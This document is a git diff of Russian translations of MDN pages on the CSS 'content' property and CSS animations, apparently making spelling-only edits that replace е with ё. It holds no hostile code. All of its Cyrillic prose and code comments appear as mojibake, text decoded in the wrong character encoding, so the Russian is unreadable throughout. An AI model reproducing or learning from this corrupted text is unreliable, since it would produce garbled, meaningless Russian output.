+ <p>Ѐункция <code>counter()</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π²Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ записи: 'counter(<var>имя</var>)' ΠΈΠ»ΠΈ 'counter(<var>имя</var>, <var>ΡΡ‚ΠΈΠ»ΡŒ</var>)'. Π‘Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ тСкст - это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ самого Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ счётчика с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² области видимости Π΄Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта. Он ΠΎΡ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ стилС (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>decimal</code>).</p>
- <p>Ѐункция <code>counters()</code> Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π²Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ записи: 'counters(<var>name</var>, <var>string</var>)' ΠΈΠ»ΠΈ 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'. Π‘Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ тСкст - это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ всСх счСтчиков с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² области видимости Π΄Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта, ΠΎΡ‚ ΠΊΡ€Π°ΠΉΠ½Π΅Π³ΠΎ ΠΊ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌΡƒ. Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ строкой. Π‘Ρ‡Π΅Ρ‚Ρ‡ΠΈΠΊΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ стилС (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>decimal</code>).</p>
+ <p>Ѐункция <code>counters()</code> Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π²Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ записи: 'counters(<var>name</var>, <var>string</var>)' ΠΈΠ»ΠΈ 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'. Π‘Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ тСкст - это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ всСх счётчиков с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² области видимости Π΄Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта, ΠΎΡ‚ ΠΊΡ€Π°ΠΉΠ½Π΅Π³ΠΎ ΠΊ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌΡƒ. Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ строкой. Π‘Ρ‡Ρ‘Ρ‚Ρ‡ΠΈΠΊΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ стилС (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>decimal</code>).</p>
</dd>
<dt><code>attr(x)</code></dt>
- <dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>x</code> элСмСнта Π² Π²ΠΈΠ΄Π΅ строки. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>x</code> отсутствуСт, вСрнСтся пустая строка. Π§ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊ рСгистру Π² Π½Π°Π·Π²Π°Π½ΠΈΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° зависит ΠΎΡ‚ языка Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</dd>
+ <dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>x</code> элСмСнта Π² Π²ΠΈΠ΄Π΅ строки. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>x</code> отсутствуСт, вСрнётся пустая строка. Π§ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊ рСгистру Π² Π½Π°Π·Π²Π°Π½ΠΈΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° зависит ΠΎΡ‚ языка Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</dd>
<dt><code>open-quote</code> | <code>close-quote</code></dt>
<dd>Π­Ρ‚ΠΈ значСния Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ строкой ΠΈΠ· свойства {{cssxref("quotes")}}.</dd>
<dt><code>no-open-quote</code> | <code>no-close-quote</code></dt>
@@ -123,7 +123,7 @@ q::after {
}
h1::before {
- content: "Chapter "; /* ΠŸΡ€ΠΎΠ±Π΅Π» Π² ΠΊΠΎΠ½Ρ†Π΅ создаСт Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅
+ content: "Chapter "; /* ΠŸΡ€ΠΎΠ±Π΅Π» Π² ΠΊΠΎΠ½Ρ†Π΅ создаёт Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅
ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ
ΠΈ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ*/
}</pre>
@@ -169,7 +169,7 @@ h1::before {
<h4 id="CSS_3">CSS</h4>
<pre class="brush: css">.new-entry::after {
- content: " New!"; /* ΠΠ°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π» создаСт Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅
+ content: " New!"; /* ΠΠ°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π» создаёт Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅
ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ
ΠΈ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ */
color: red;
@@ -245,7 +245,7 @@ li {
<h2 id="ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹_доступности">ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ доступности</h2>
-<p>Π‘Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ CSS ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM</a>. Из-Π·Π° этого ΠΎΠ½ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ прСдставлСн Π²Β  <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a> ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ/Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π΅Π³ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ. Если ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, которая ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π΅ΡˆΠ°ΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для понимания Ρ†Π΅Π»ΠΈ страницы, Π»ΡƒΡ‡ΡˆΠ΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Π΅ Π² основной Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</p>
+<p>Π‘Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ CSS ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM</a>. Из-Π·Π° этого ΠΎΠ½ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ прСдставлСн Π²Β  <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a> ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ/Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π΅Π³ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ. Если ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, которая ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π΅ΡˆΠ°ΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для понимания Ρ†Π΅Π»ΠΈ страницы, Π»ΡƒΡ‡ΡˆΠ΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² основной Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</p>
<ul>
<li><a href="https://tink.uk/accessibility-support-for-css-generated-content/">Accessibility support for CSS generated content – Tink</a></li>
diff --git a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html
index 785f85c87c..51b1c40887 100644
--- a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html
+++ b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support
---
<div>{{CSSRef}}</div>
-<p>CSS-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΡ€Π΅Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ CSS. Однако, скорСС всСго, Π±ΡƒΠ΄ΡƒΡ‚ случаи, ΠΊΠΎΠ³Π΄Π° эта функция нСдоступна, ΠΈ Π²Π°ΠΌ придСтся Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ эти Π·Π°Π΄Π°Ρ‡ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ΄Π° JavaScript, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΉ эффСкт. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ, основанная Π½Π° постС Π² Π±Π»ΠΎΠ³Π΅ ΠšΡ€ΠΈΡΠ° Π₯айльмана, дСмонстрируСт Ρ‚Π°ΠΊΡƒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ.</p>
+<p>CSS-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΡ€Π΅Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ CSS. Однако, скорСС всСго, Π±ΡƒΠ΄ΡƒΡ‚ случаи, ΠΊΠΎΠ³Π΄Π° эта функция нСдоступна, ΠΈ Π²Π°ΠΌ придётся Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ эти Π·Π°Π΄Π°Ρ‡ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ΄Π° JavaScript, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΉ эффСкт. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ, основанная Π½Π° постС Π² Π±Π»ΠΎΠ³Π΅ ΠšΡ€ΠΈΡΠ° Π₯айльмана, дСмонстрируСт Ρ‚Π°ΠΊΡƒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ.</p>
<h2 id="ВСстированиС_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ_Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ_CSS">ВСстированиС ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ CSS</h2>
@@ -33,7 +33,7 @@ if( animation === false ) {
}
</pre>
-<p>Для Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ нСсколько ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. ΠœΡ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ анимация Π½Π΅ поддСрТиваСтся установкой значСния animation Π² false. ΠœΡ‹ устанавливаСм строкС для <code>animationstring</code>Β -Β <code>animation</code>Β , которая являСтся свойством, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅. ΠœΡ‹ создаСм массив прСфиксов Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для цикличСского ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° ΠΈ устанавливаСм pfx Π² ΠΏΡƒΡΡ‚ΡƒΡŽ строку.</p>
+<p>Для Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ нСсколько ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. ΠœΡ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ анимация Π½Π΅ поддСрТиваСтся установкой значСния animation Π² false. ΠœΡ‹ устанавливаСм строкС для <code>animationstring</code>Β -Β <code>animation</code>Β , которая являСтся свойством, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅. ΠœΡ‹ создаём массив прСфиксов Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для цикличСского ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° ΠΈ устанавливаСм pfx Π² ΠΏΡƒΡΡ‚ΡƒΡŽ строку.</p>
<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ провСряСм, установлСно Π»ΠΈ свойство CSS {{cssxref("animation-name")}} Π² ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ стилСй для элСмСнта, Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ elem. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ CSS-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ прСфикса, Ρ‡Π΅Π³ΠΎ Π½Π° сСгодняшний дСнь Π½ΠΈΠΊΡ‚ΠΎ ΠΈΠ· Π½ΠΈΡ… Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚..</p>
@@ -80,7 +80,7 @@ if( animation === false ) {
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Π·Π°Π΄Π°Ρ‡Π°-фактичСски Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΊΠ°Π΄Ρ€Ρ‹ Π² CSS страницы. ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, это ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, Π΅ΡΡ‚ΡŒ Π»ΠΈ ΡƒΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅; Ссли Π΄Π°, Ρ‚ΠΎ ΠΌΡ‹ просто вставляСм описаниС ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π° Π² эту Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй; это дСлаСтся Π² строках 13-15.</p>
-<p>Если Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй Π΅Ρ‰Π΅ Π½Π΅Ρ‚, Ρ‚ΠΎ создаСтся Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт {{HTMLElement("style")}}, Π° Π΅Π³ΠΎ содСрТимоС устанавливаСтся Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ keyframes. Π—Π°Ρ‚Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт {{HTMLElement("style")}} вставляСтся Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ {{HTMLElement("head")}}, Ρ‚Π΅ΠΌ самым добавляя Π½ΠΎΠ²ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</p>
+<p>Если Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй Π΅Ρ‰Ρ‘ Π½Π΅Ρ‚, Ρ‚ΠΎ создаётся Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт {{HTMLElement("style")}}, Π° Π΅Π³ΠΎ содСрТимоС устанавливаСтся Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ keyframes. Π—Π°Ρ‚Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт {{HTMLElement("style")}} вставляСтся Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ {{HTMLElement("head")}}, Ρ‚Π΅ΠΌ самым добавляя Π½ΠΎΠ²ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</p>
<p><a href="https://jsfiddle.net/codepo8/ATS2S/8/embedded/result">View on JSFiddle</a></p>
diff --git a/files/ru/web/css/css_animations/tips/index.html b/files/ru/web/css/css_animations/tips/index.html
index 495c3a3063..15929f6220 100644
--- a/files/ru/web/css/css_animations/tips/index.html
+++ b/files/ru/web/css/css_animations/tips/index.html
@@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Animations/Tips
<p>БпСцификация <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> Π½Π΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ способа Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ снова. НСт Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ волшСбного ΠΌΠ΅Ρ‚ΠΎΠ΄Π° resetAnimation () для элСмСнтов, ΠΈ Π²Ρ‹ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ элСмСнт {{cssxref ("animation-play-state")}} Π²" running " снова. ВмСсто этого Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ…ΠΈΡ‚Ρ€Ρ‹Π΅ Ρ‚Ρ€ΡŽΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒΒ ΠΎΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ для воспроизвСдСния.</p>
-<p>ΠŸΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ Π²Π°ΠΌ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· способов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ считаСм достаточно Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΌ ΠΈ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ.</p>
+<p>ΠŸΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ Π²Π°ΠΌ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· способов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ считаСм достаточно Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌ ΠΈ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ.</p>
<h3 id="HTML_содСрТимоС">HTML содСрТимоС</h3>
@@ -80,8 +80,8 @@ translation_of: Web/CSS/CSS_Animations/Tips
<ol>
<li>Бписок классов CSS Π² элСмСнтС сбрасываСтся Π΄ΠΎ простого "box". Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΡŽ всСх Π΄Ρ€ΡƒΠ³ΠΈΡ… классов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² настоящСС врСмя ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ элСмСнту, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ класс <code>"changing"</code>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΌΡ‹ удаляСм Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ эффСкт ΠΈΠ· элСмСнта. Однако измСнСния Π² спискС классов Π½Π΅ Π²ΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ Π² силу Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ пСрСрасчСт стиля ΠΈ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅, ΠΎΡ‚Ρ€Π°ΠΆΠ°ΡŽΡ‰Π΅Π΅ это ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅.</li>
- <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ стили пСрСсчитаны, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ  {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняСтся нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ пСрСрисовкой Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ,Ρ‡Ρ‚ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это происходит Π΄ΠΎ пСрСрисовки, пСрСрасчСт стиля Π΅Ρ‰Π΅ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π»!Β </li>
- <li>Наш колбэк Π»ΠΎΠ²ΠΊΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code>requestAnimationFrame()</code>Β Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π·! На этот Ρ€Π°Π· колбэк выполняСтся Π΄ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ пСрСрисовки, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° пСрСрасчСт стиля. Π­Ρ‚ΠΎΡ‚ колбэк добавляСт класс <code>"changing"</code> ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² элСмСнт, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ пСрСрисовка снова запустит Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ.</li>
